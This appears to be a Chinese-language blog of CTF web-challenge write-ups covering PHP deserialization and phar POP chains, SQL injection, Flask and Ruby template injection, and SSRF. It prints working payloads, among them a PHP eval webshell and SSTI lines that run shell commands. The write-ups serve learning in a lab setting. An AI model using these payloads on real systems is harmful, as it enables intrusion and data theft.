[SWPUCTF 2018]SimplePHP
2020.12.14
考点
Pop 链 phar 反序列化
phar 文件对后缀名 不做要求
做题步骤
一个文件上传网页。
上传文件后得不到 对应的文件路径。
且查看文件没有文件显示,但是我们看到url file.php?file=
尝试伪协议读文件。
file.php?file=php://filter/read=convert.base64-encode/resource=file.php
发现并不能读取到文件内容
我们尝试直接 file=file.php
成功显示内容
于是一次读取里面的其他的 php 文件。
index.php
1 |
|
file.php
1 |
|
Function.php
1 |
|
Class.php
1 |
|
Base.php
1 |
|
upload_file.php
1 |
|
不能访问 f1ag.php
进行代码审计
- 上传文件只能为
"gif","jpeg","jpg","png"
后缀 白名单 - 上传后的文件名,
md5(filename+yourip)+jpg
,然后保存到 upload 文件夹 - 查看文件那 利用 class.php 里面的
Show 类
来显示 利用 file_exists判断我们的文件名 所以利用 base64 不能得到。 调用的 是Show 类的 _show() 方法
查看 class.php 的类和他的方法。
发现利用 Show类的 方法来得到 f1ag.php 的能容是不能实现的。
因为 _show()
函数会检测。
发现 里面还有 C1e4r类
Test类
气质 C1e4r类的魔术方法有一个 打印功能
1 |
|
_destruct
的时候会输出 $this->test $this->test = $this->str;
在 Show
类中
1 | public function __toString() |
利用 C1e4r
类的 ehco 方法调用 Show
类的 __toString() 魔术方法
然后看到 Test
类里面 有个 __get()
方法。且最后会利用 file_get 函数得到一个文件内容的 base64。
__get()
当未定义的属性或没有权限访问的属性被访问时该方法被调用。
所以我们让 Show
类的 str[‘str’] = new Test();
然后布置 Test 的 params[‘source’] = flag 的路径
这样我们的 pop链就构造好了。
1 |
|
设置 php.ini 的 phar.readonly = Off
然后访问我们的 这个php 文件,这样会在我们的当前目录下 生成 exp.phar
(因为 phar 对文件后缀无要求。我们可以修改 exp.phar 为 exp.jpg 从而实现上传) 然后利用 phar:// 伪协议访问。
在网站 /upload 下找到我们上传的文件的 名字。
然后访问
然后访问
解密base64 得到 flag
[RoarCTF 2019]Online Proxy
2020.12.15
考点
sql 盲注 (xff)
做题步骤
打开网页
猜测有 ssrf
抓包
根据注释里面的当前ip
我们尝试 利用 xff 修改ip
发现如果我们修改。上面出现了 我们的修改后的 ip
而且出现了一个last ip保存的是我们上一次的ip。
所以猜测。我们的ip 会被保存在数据库中。然后会根据 ip 的当前值和之前是否一样从而取出来 ip。
尝试发现 xff 存在 sql注入 单引号,可以利用sql 盲注得到 flag
exp 参考
https://www.codenong.com/cs106021454/
因为 flag 不在当前数据库中。
所以要利用
0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0
先得到 我们需要的 数据库地址
然后利用 这个数据库去进行爆破 利用 F4l9_D4t4B45e
1 | import requests |
[HarekazeCTF2019]encode_and_encode
2020.12.15
考点
json 数据。
json 在传输时是 Unicode 编码的
做题步骤
可以查看到 源代码
1 |
|
首先 php://inpit
得到 post 的参数。
参数为 json格式
调用 is_valid()
过滤字符串且不能有 flag 字符。
获得 他的 page
属性。 然后利用 file_get_contents
得到文件内容(可以使用伪协议 php://filter
将文件中 HarekazeCTF{}
替换为 HarekazeCTF{<censored>}
,这样就无法明文读取 flag
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
然后解密得到 flag。
[BJDCTF2020]EzPHP
2020.12.15 2020.12.16
考点
绕过,伪协议读数据
做题步骤
注释里面发现
访问页面
得到源码 1nD3x.php
1 |
|
一共 6个大比较。
第一个
第二个
第三个
第四个
第五个
第六个
绕过
$_SERVER
$_SERVER[‘QUERY_STRING’] 之前有一道题有过经验,该方法不会自动解码url编码后的文字
得到的 是 url 后面的值
ip/?a=xxx&b=xxx
=>$_SERVER
得到a=xxx&b=xxx
但是这里我们不能有 正则匹配的字符串
绕过这个点。我们需要利用 url 编码实现绕过
绕过
preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute'
这里的绕过点,传入的 debu 以
aqua_is_cute
开始 又以aqua_is_cute
结尾,但是 debu 的值不能为aqua_is_cute
绕过只需要在
debu=aqua_is_cute%0a
$_REQUEST
同时接受GET和POST的数据,并且POST具有更高的优先值。我们 所以这里会判断我们上面需要传入的 debu 和 file 的值进行比较,所以在get 传入这两值的同时我们还需要 post 传入这两个值。
这样 这里的 $_REQUEST 对应的 $valu的值就是 post 传入的。 这里传入 除了 a-z A-Z 的字符就好
POST: debu=1&file=1
因为 $cookie 的也会被传入,所以我们在传值的时候需要 删除 cookie 这样我们才能正常运行
感谢 y1ng师傅
file_get_contents($file) !== 'debu_debu_aqua'
绕过这个比较 直接利用 伪协议data 伪协议
?file=data://text/plain,debu_debu_aqua
sha1($shana) === sha1($passwd) && $shana != $passwd
这里的绕过,直接 传数组就能实现
shana[]=1&passwd[]=2
然后 利用
extract($_GET["flag"]);
extract() 函数从数组中将变量导入到当前的符号表。
利用这个函数来控制后面的
$code
$arg
正则比较中, $code 只能为 a-z 0-9 的字符
查看了 wp 才知道 要利用
create_function
来执行命令$code
和$arg
可控,利用$code('',$arg)
进行create_function注入1
2
3function a('',$arg){
return $arg
}$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
1
2
3function a('',$arg){
return }代码;//
}利用的 格式
1
2设flag[code]=create_function
传入flag[arg]=}这里加入执行代码;//因为有过滤的值
所以 flag[arg] 的值不能 urlcode 绕过,因为 验证的时候 过滤了 arg
因为过滤了很多字符串 我们我们可以取反利用不可显示字符绕过,然后利用 urlcode 编码后传入。
测试想办法实现读取 flag.php 文件里面的未知数
利用函数 get_defined_vars()
1 | /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());// |
发现提示,rea1fl4g.php
尝试利用 php 伪协议读 因为 不能使用 include
然后可以利用 require
来得到
1 |
|
利用
1 | require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// |
base64 解密
[NCTF2019]SQLi
2020.12.16
考点
Sql 注入 利用 ;%00 代替(注释符,闭合单引号
利用 regexp 利用正则查找。
https://p3rh4ps.top/index.php/2019/12/31/19-12-31-nctf2019-sqli-regexp%E6%B3%A8%E5%85%A5/
做题步骤
打开网页
给了 语句提示
sqlquery : select * from users where username='' and passwd=''
输入 admin admin 报错。
or 也报错
利用 bp 进行爆破
设置字典
根据 返回包的内容长度确定 过滤的字符 长度为 201 的就是 被过滤的
但是发现我不会了。
扫描下目录
发现有个 robot.txt
访问
看到一个 hint.txt
访问看看
1 | $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i"; |
提示我们输入的 passwd === admin 的password 就好
跟着wp 学到一个新知识点
发现 \ 没有被过滤 且我们知道 sql 语句,
sqlquery : select * from users where username='' and passwd=''
所以这里我们可以利用 username = \ 从而实现 单引号逃逸
然后在passwd里用正则匹配字符 按位爆破
利用 regexp '^开头字符'
单个字符单个字符添加
测试如下
从而构造 payload 为
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^str";%00';
因为 ;%00 相当于将前面的 语句闭合了。
因为过滤了很多字符串 这里我们将字符串转为 hex 传入。
1 | import string |
得到密码
因为 我们过滤了 admin 我们用户名可以输入 除了黑名单里面的任意字符
登录得到 flag
[网鼎杯 2020 白虎组]PicDown
2020.12.17
考点
目录穿透
Python 反弹shell
做题步骤
打开网页输入点东西后
发现有个 url。
测试发现没什么东西。
测试 ../../
感觉没有什么过滤
测试 看看能不能访问 /etc/passwd
发现下载了文件 猜测 可以目录穿透。
看看 根目录下有没有 flag ../../../../flag
发现能够直接得到 flag
感觉应该没这么简单
看了下 wp 说应该是需要利用 得到 app.py 文件代码审计那 shell的
先查看文件进程
../../../../proc/self/cmdline
文件查看当前进行进程执行命令
有个 app.py
去看看这个文件有什么东西。
能够得到源码
1 | from flask import Flask, Response |
然后发现有一个路由
1 |
|
这里可以直接执行命令
但是我们需要得到 key
这个key 的文件为 "/tmp/secret.txt"
且发现这个 key 打开了但是没有关闭,所以我们可以得到他的文件符。
1 | /proc/pid/cmdline 包含了用于开始进程的命令 ; |
但是我们不知道对应的进程数字是多少
爆破看看
发现 为3的时候
有个 base64 加密
w1OySiR0kGmekq98twu0CvfLKTB/e72z7ryP1F3SOms=
利用 python 反弹shell
得到 flag
[WUSTCTF2020]CV Maker
2020.12.17
考点
文件上传
做题步骤
直接上传文件
蚁剑链接 得到 flag
[HFCTF2020]JustEscape
2020.12.17
考点
vm2 逃逸
https://github.com/patriksimek/vm2/issues/225
过滤绕过
做题步骤
根据网页 猜测可以代码执行
访问 run.php
测试 system
发现不行
看了 wp 发现是 nodejs + vm2
https://blog.csdn.net/SopRomeo/article/details/108629520
https://ha1c9on.top/2020/04/20/hfctf2020-web/#HFCTF2020JustEscape
https://www.zhaoj.in/read-6512.html
首先利用各种语言的爆破异常来获得信息
/run.php?code=Error().stack;
从而知道是 vm2 + nodejs
找到 一个 逃逸的
https://github.com/patriksimek/vm2/issues/225
1 | ; |
js绕过关键词过滤的方法:
拼接变量绕过
如过滤关键词prototype
,则绕过方式为${`${`prototyp`}e`}
最后的 payload
1 | ?code=(function (){ |
然后 cat /flag
[GYCTF2020]EasyThinking
2020.12.18
考点
Thinkphp v6.0
Disable_function
做题步骤
打开网页 注册,登录,搜索,登出,搜索记录
让看到 注释 Navigation
访问
获得版本提示。 但是没有这个 控制权
直接搜下这个版本漏洞
发现有个 任意文件操作的 漏洞
http://j0k3r.top/2020/03/02/ThinkPHP_v6.0.0_ArbitraryFileWriting/#2-%E5%A4%8D%E7%8E%B0
但是我们要知道是怎么调用的。
尝试目录扫描
发现有个 www.zip
下载下来 代码审计
因为我们知道 thinkphp v6.0 的文件操作利用的是 session。
直接全局搜索
有个 session 初始化
然后search 有个 session 的利用
然后发现
有个 seesion set
这里 我们可以利用 这个 漏洞上传
在登录时会根据我们的 phpsession 创建一个 sesssion 文件夹
我们在登录的 时候修改 session 最后4位为 .php 这样保存的文件就为 php 后缀的php文件。
因为我们搜索的时候会把我们的搜索内容写进去,所以我们直接 输入 <?php phpinfo(); ?>
访问对应 保存 session 文件的地方
/runtime/session/sess_
+ PHPSESSION
所以我们可以写入 一句话。
<?php eval($_POST['jly']); ?>
使用 蚁剑链接
发现有 disable_functions
发现
flag 文件没东西 需要调用 readflag
但是 有 disable_function
利用 蚁剑 绕过 disable_function 的插件
然后就能执行命令
也可以 在 /tmp 目录上传。让 indclude 这个 php
1 |
|
上传
访问这个文件
得到 flag
[强网杯 2019]Upload
2020.12.19
考点
反序列化
文件泄露
代码审计
做题步骤
发现登录后,可以上传文件
上传一句话,发现不成功。
可以查看 upload 页面
没有思路。于是 扫目录
发现有个 备份文件
www.tar.gz
下载 解压
继续在题目中寻找一些知识点。
查看网页的 cookie
发现有个 user
感觉是个 base64 解密看看
发现存在序列化内容。
从而我们可以猜测题目 应该是存在 序列化和反序列化的。
进行代码审计。
因为这个 名字叫做 user 我们直接全局搜索
发现 application 里面的 这几个php 比较关键
发现 Index.php
中
会进行反序列化。反序列的内容是cookie
在 Profile.php
中
上传图片会进行一个 序列化保存
知道可能存在 反序列化漏洞。然后继续审计代码。
且 只要有 login_check
函数的地方 就会对 usr 进行一次反序列
然后看完代码逻辑。发现函数
Profile.php
中的 upload_img()
函数
查看代码逻辑。
1 | public function upload_img(){ |
根据代码逻辑。如果,调用这个函数,这个函数中,如果没有 !empty($_FILES)
不满足条件,且利用反序列化。我们可以控制对应的 filename_tmp
filename
。然后再让 ext
不为 0 这样我们可以调用下面的copy 从而实现修改 文件名字。
思路
上传图片码。
想办法调用
Profile.php
中的upload_img()
函数 修改文件名为 .php 文件,然后调用(测试发现 利用 Js 标签的一句话不被解析。想办法调用,首先我们可以利用
Profile.php
的类构造最后一步。给
$filename_tmp
$filename
$except
$ext
赋予对应的值。Pop 链寻找
Profile.php
中 这个类有如下属性 通过上面的 upload_img 函数的分析,我们知道我们要控制的变量有$filename_tmp
$filename
$except
$ext
1
2
3
4
5
6
7public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;且这个 类中有两个 可以利用的 魔术方法
1
2
3
4
5
6
7
8
9
10
11public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}读取不可访问属性的值时,__get() 会被调用; 在对象中调用一个不可访问方法时,__call() 会被调用。
然后我们发现
Register.php
中有一个__destruct()
魔术方法1
2
3
4
5
6public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}这里会调用 checker->index() 函数。
根据
Profile.php
中有个 __call 函数,且Profile.php
中没有对应的 index() 函数,如果我们的checker = Profile 类
当调用Register.php
中的__destruct()
魔术方法 就会去调用到Profile.php
中的链从而实现 pop 链。构造路线
Register
类中的 checker 属性 =Profile
类- 当
Register
中的__desctruct
魔术方法被调用时,因为 checker 为Profile
类 ,因为Profile
类 中没有 对应的 index() 方法,这里会调用Profile
类 中的__call()
魔术方。对应的$registed
属性要为 0 才能执行__desctruct
魔术方法 - 然后我们构造
Profile
中的属性,$filename_tmp
我们要修改的文件名,$filename
修改为的文件名。因为要调用upload_img()
函数,这里__get()
和__call()
相结合让$except=array("index"=>"upload_img")
这样我们调用Profile
的 Index() 方法的时候就会调用 upload_img() 函数,然后我们让$ext
= 1 这样能执行 copy 操作修改文件名。
exp
1 |
|
修改成了 jly.php
然后可以调用
拿到 flag
[b01lers2020]Welcome to Earth
2020.12.26
考点
查看源码emm
做题步骤
查看网页源码
自动跳转到 /die/
然后发现里面有个 /chase/
发现里面有个页面但是网页一下就跳转了。
抓包看看 返回结果
会1秒后跳转,我们看看 leftt 目录
有句注释 是 /shoot/
查看
有个 /door/
访问后是一个猜测选择
太多了emm 看到一个 /static/js/door.js
访问
有一个 open
fight
/static/js/fight.js
然后字符组合得到 flag
[网鼎杯2018]Unfinish
2020.12.26 - 27
考点
二次注入
做题步骤
打开只有一个 登录页面,源代码也没什么提示。
根据 login.php 猜测有 注册功能,测试 register.php
有页面可以注册
注册后可以登录
显示我们的 用户名
用户名应该是我们 注册时保存的,说明是有 sql 操作,可能有sql注入 ,这里的用户名可能可以二次注入
测试
用 hex 如果是结果有 数字和 字母,会只显示数字,如果用两个 hex 进行加密。这个时候我们的值就可以全是数字,但是hex加密的字符过长会被 科学计数法 显示,不能正确显示,只能利用 每次取 3个字符 依次组合到一起。
https://mayi077.gitee.io/2020/08/18/%E7%BD%91%E9%BC%8E%E6%9D%AF2018-Unfinish/
只能直接猜测用的是 flag 表明的表。
直接抄了一遍脚本
1 | #!/usr/bin/env python2 |
[watevrCTF-2019]Cookie Store
2020.12.27
考点
cookie修改
做题步骤
猜测和 cookie 有关。
session 可以base64 解密得到数据
购买一个东西后
session 修改了
解密得到对应数据。我们尝试修改内容base64 加密替换
替换后刷新 我们钱变多了
然后可以购买 flag
[CISCN2019 华东南赛区]Double Secret
2020.12.27
考点
ssti
做题步骤
打开没什么东西 扫下目录
robots.txt
secret
然后我们传入我们的 secret 会发现有页面返回值。
乱输入值后,发现有报错。
这个时候我们看到的关键代码。
1 | if(secret==None) |
里面有一个 RC4 的解密
网上找一个 对 通用 ssit 进行加密试试
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} |
rc4 加密
https://www.jianshu.com/p/d9ad5fc524ec
1 | import base64 |
加密后不可显示
利用 url 加密
1 | .J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%9C%1A%3A%3F%C3%A6%C2%B2%20%C2%A2%C3%82%C2%B9%0F%0B%C3%95G%23-%C3%A9%C2%A2%19%C3%85%C2%B2%C2%8F%22%C3%AE%C2%A3%C2%93l%C3%8A%7B%03%C3%B9%C2%B6%C2%92%C3%97%11%20%C3%9C%C3%AE%C3%AA%02 |
然后查看 flag
1 | pyload = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('cat /flag.txt').read()\")}}{% endif %}{% endfor %}" |
bestphp’s revenge
2020.12.27
考点
session 反序列化
call_user_func
利用
session反序列化->soap(ssrf+crlf)->call_user_func激活soap类
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
http://www.const27.com/2020/06/18/bestphps-revenge/
做题步骤
访问页面
1 |
|
里面有函数 call_user_func
call_user_func ( callable
$callback
[, mixed$parameter
[, mixed$...
]] ) : mixed
1 callback将被调用的回调函数(callable)。
1 parameter0个或以上的参数,被传入回调函数。
call_user_func 函数不止可以调用自定义函数、类,也可以调用php内置函数、内置类 如extract
Extract 可以加 伪协议读源码
函数调用
1 |
|
**用*call_user_func()*来调用一个类里面的方法
1 |
|
题目中的源码,我们只能调用 已经存在的函数
发现有一个 flag.php文件
有session 验证,且要得到 session 我们的访问应该为 127.0.0.1。 所以这个题目,我们还需要利用 ssrf 来得到 对应的 flag.php 的文件的内容
我们需要访问 127.0.0.1/flag
看到会吧 flag 的值保存到 session 里面。
猜测会用到 session 反序列化
为什么 session 能够反序列化
session.serialize_handler存在以下几种
1 | php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 |
php_binary引擎格式
Php 引擎格式
php_searialize 引擎格式
漏洞利用,不同 session 引擎的解析规范来进行利用
我们知道了 session 的保存
有反序列化点,但是没有 pop链,这个时候我们要利用 php 内置类进行反序列。
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
SoapClient是php内置的类,当__call方法被触发后(调用不存在方法),它可以发送HTTP和HTTPS请求。该类的构造函数如下:
1 | public SoapClient :: SoapClient (mixed $wsdl [,array $options ]) |
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
第一步。构造 soapcilent 来实现 http 请求 127.0.0.1/flag.php
利用
call_user_func($_GET['f'], $_POST);
调用session_start
修改 session保存形式serialize_handler
为php_serialize_handler
还利用了 CRLF https://www.jianshu.com/p/d4c304dbd0af
1
2
3
4
5
6
7
8
9
10
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\n" .
"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22AAA%3ABBB%0D%0ACookie%3APHPSESSID%3Ddde63k4h9t7c9dfl79np27e912%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D然后上传。
现在我们的能容已经保存在 session 文件中。我们利用
extract
覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID处发后直接访问 网页会显示 session 保存的值,就保存了 flag.php 里面的 flag 文件
得到flag
[SCTF2019]Flag Shop
2020.12.28 - 31
考点
ruby ssti。
jwt 伪造
做题步骤
可以查看源码
1 |
|
没发现有什么东西,扫目录
有个 robots.txt 访问目录看看
访问得到 flag
源码 ruby 编写的。
1 | require 'sinatra' |
需要我们的chookies 中 jwt auth
的 jkl >= 1000000000000000000000000000
这个时候才会把我们的 FLAG写到 auth 然后用jwt 加密。
点击work 我们的 jkl 会在 0-9 中随机增加。
思路是修改 cookie 来门的 jwt 中的 jkl 达到要求。
这样我们就必须要得到 我们对应的 jwt 秘钥
这个秘钥是保存在全局中的 ENV["SECRET"]
源码中有个可控点
1 | if params[:do] == "#{params[:name][0,7]} is working" then |
其中 name 和 do 都是我们可控的。
且我们能让他们两个的值相等。
后面才知道 这是一个 ruby的 模板注入。
https://blog.csdn.net/zdq0394123/article/details/8443694
需要利用 ruby 模板的预定义变量来泄露 ENV 中的 SECRET
从而实现我们能伪造 jwt
根据 work 路由里面的内容
因为在work 中 先匹配了 一次 ENV["SECRET"]
所以这时我们可以利用
1 | unless params[:SECRET].nil? |
来进行 泄露 SECRET
的值 (所以我们调用/work 的时候要传入 SECRET)
do 后面加 is working是让if 等式成立。
payload
1 | /work?do=<%=$'%> is working&name=<%=$'%>&SECRET= |
这样我们就能泄露 预定义里面的值 也就刚好是 ENV["SECRET"]
的值 从而实现泄露 jwt 的key
利用展现加密 网站
将泄露的值填入,让修改 jkl 为 大于我们需要的值。
然后在 shop 路由修改 cookie
成功修改
从而直接能够购买
源码中
1 | if auth[0]["jkl"] < FLAGPRICE then |
购买成功 flag 会被保存在 我们的 jwt 中,我们直接利用 cookie 解密 得到 flag
[RootersCTF2019]I_<3_Flask
2020.12.31
考点
ssti
做题步骤
根据题目猜测是 flask 的模板注入
但是不知道 注入用到的 是哪个参数。
利用 https://github.com/s0md3v/Arjun.git
来测试 得到name 参数
然后利用 普通的 ssti 注入
1 | /?name={{[][%27__class__%27][%27__bases__%27][0][%27__subclasses__%27]()[182][%27__init__%27][%27__globals__%27][%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag.txt%27).read()")}} |
或者用 tplmap.py (python2)
sudo git clone https://github.com/epinna/tplmap.git
sudo pip install -r requirements.txt
然后利用
python tplmap.py -u xxx?name=1 --os-shell
直接拿shell
[GYCTF2020]Easyphp
2020.1.1
考点
源码泄露
反序列
做题步骤
打开网页
猜测 可能存在后门,目录扫描。
发现有一个 www.zip
下载审计源码
发现没有 sql 注入
1 | if(isset($_POST['username'])){ |
基本都过滤光了
但是什么 new 了 一个 user 类
有个 update.php
实现可以直接查看 flag 且调用了 user 类的 update 方法。
1 |
|
然后查看关键的 lib.php
从 User
类的 uodate 方法开始 入手
1 | public function update(){ |
这个方法 调用了 一个 反序列化
代码跟进 getNewinfo()
1 | public function getNewInfo(){ |
继续跟到 Info 类
1 | class Info{ |
里面有 一个 __call
方法可能可以调用
然后 User
类中
还new 了一个 UpdateHelper
方法
1 | Class UpdateHelper{ |
里面有一个 __destruct
方法可以调用。
这里可以作为 且 __destruct()
方法里面 是调用的 echo(可以和 __string()
函数组合使用
且发现 在 User
类中是有这样一个 方法的 。
1 | public function __toString() |
且 Info 类 里面 __call
猜测可能在这里布置
从而够着pop链
UpdateHelper
的__destruct()
方法User
的__toString()
方法Info
的__calll()
方法dbCtrl
的login()
方法然后根据
Info
的__call()
传入的 参数是$age
所以我们将 sql 语句布置在
$age
之后就能被调用了。在
dbCtrl
的login()
函数中利用
$result->bind_result($idResult, $passwordResult);
且在调用后 会返回$idResult
的值如果
$this->token=='admin'
会返回我们的$idResult
。染回到
Info
的__call()
函数中的 echo 讲查询结果打印出来。1
2
3
4
5
6
7
8
9$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
为了得到 登录的密码,因为知道 会显示 $idResult
,所以我们的 把 password
放在第一位
"select password,id from user where username=?"
因为 dbCtrl::login($sql)
这个 $sql
赋值给 User
的 $age
payload
1 |
|
我们的 pop 链已经构造好了
但是我们的入口函数是 $Info=unserialize($this->getNewinfo());
我们需要让 Inof
的参数 有一个布置为我们够着的 UpdateHelper
类的 pop 链
因为 对应的 方法为 序列化后 有一个 safe
函数。
是直接的替换。我们可以利用这个 函数 进行 字符替换,从而逃逸 pop 链。让我们布置的 pop 链的类 成为 Info
的入口
1 | public function getNewInfo(){ |
我们上面生成的序列化的前面要加上。";s:8:"CtrlCase";"
后面加上 }
echo '";s:8:"CtrlCase";'.serialize($updatehelper)."}";
因为序列化后 会进行 safe 函数,
会讲里面的 黑名单替换为 hacker 6的字符的字符串。
让我们计算一下我们 这个 pop链的长度,实现替换后,让我们的 pop链逃逸为我们的 Info 类里面的序列化的另一个参数。
得到的 序列化为
1 | ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}} |
长度为 443
所以我们要逃逸这么多字。
可以利用 safe 里面的 '
一次能逃逸 5个字符 union
可以逃逸 1个字符
443 个字符串 需要。
88个 '
3个union
最后的 payload
1 | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}} |
从而得到 md5 的密码。
glzjin
登录得到 flag
账号 admin
[NPUCTF2020]ezinclude
2021.1。2
考点
做题步骤
打开网站
源码看到注释
直接抓包传入 /?pass=HASH
然后发现 有个 重定位
访问网站发现有个文件包含漏洞,可以利用这个漏洞去读源码。
利用 filter
/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
1 | <html> |
/flflflflag.php?file=php://filter/convert.base64-encode/resource=index.php
1 |
|
发现里面禁用了 /data|input|zip
不能写 一句话了
文件扫描发现 有个 dir.php
是显示 /tmp
文件夹下的文件内容
1 |
|
猜测可能和 tmp 目录有关。搜索 文件包含 /tmp目录
找到对应文章
找到 一个 Payload
1 | import requests |
然后访问 /tmp
目录下的 的一句话文件。
然后传入 传输 jly=phpinfo();
我的 bp 会出现重定向,只能使用 curl
然后在 返回内容里面找到 flag
[安洵杯 2019]不是文件上传
2021.1.2
考点
反序列化
sql 注入
做题步骤
看到一个 提示 powered by wowouploadimage
猜测应该是 有对应的文件的
找到 看到是 出题人的
https://github.com/Threezh1/wowouploadimage.git
下载
查看 upload 地方的代码。
check 是白名单
刚开始以为可以利用 phar 来让过,但是没有文件包含的点。所以上传一句话应该是不能的。
1 | public function check($info) |
继续看代码。
发现 在 helper
类里面,有一个 __destruct
函数。且这个函数会调用 view_files
方法。
从而显示 $path
里面的内容
1 | public function view_files($path){ |
然后在 show.php
中,外面发现。里面有一个 unserialize()
参数是直接数据库取出来的。
1 | public function Get_All_Images(){ |
猜测 如果这个反序列化内容就是我们
helper
类 这样我们可以调用到 __destruct
方法。从而打印内容。
然后看看哪儿插入的数据
在 helper
类中 insert_array()
函数
1 | public function insert_array($data) |
用到的 方法为
"INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"
向上查看
跟进到 upload 函数。
找到对应的列名
1 | $array = array(); |
我们传入的 是 attr
属性 保存的值就是 序列化后的
说明这里确实存在 反序列化利用。
因为我们要查看的 是 /flag
的内容
所以 payload
1 |
|
因为属性为 protected
且 替换了 里面的 \x00 为 \0
1 | foreach($data as $key=>$value){ |
所以最后我们生成的 反序列化
我们得到了 反序列化的函数。
所以我们要构造对应的sql
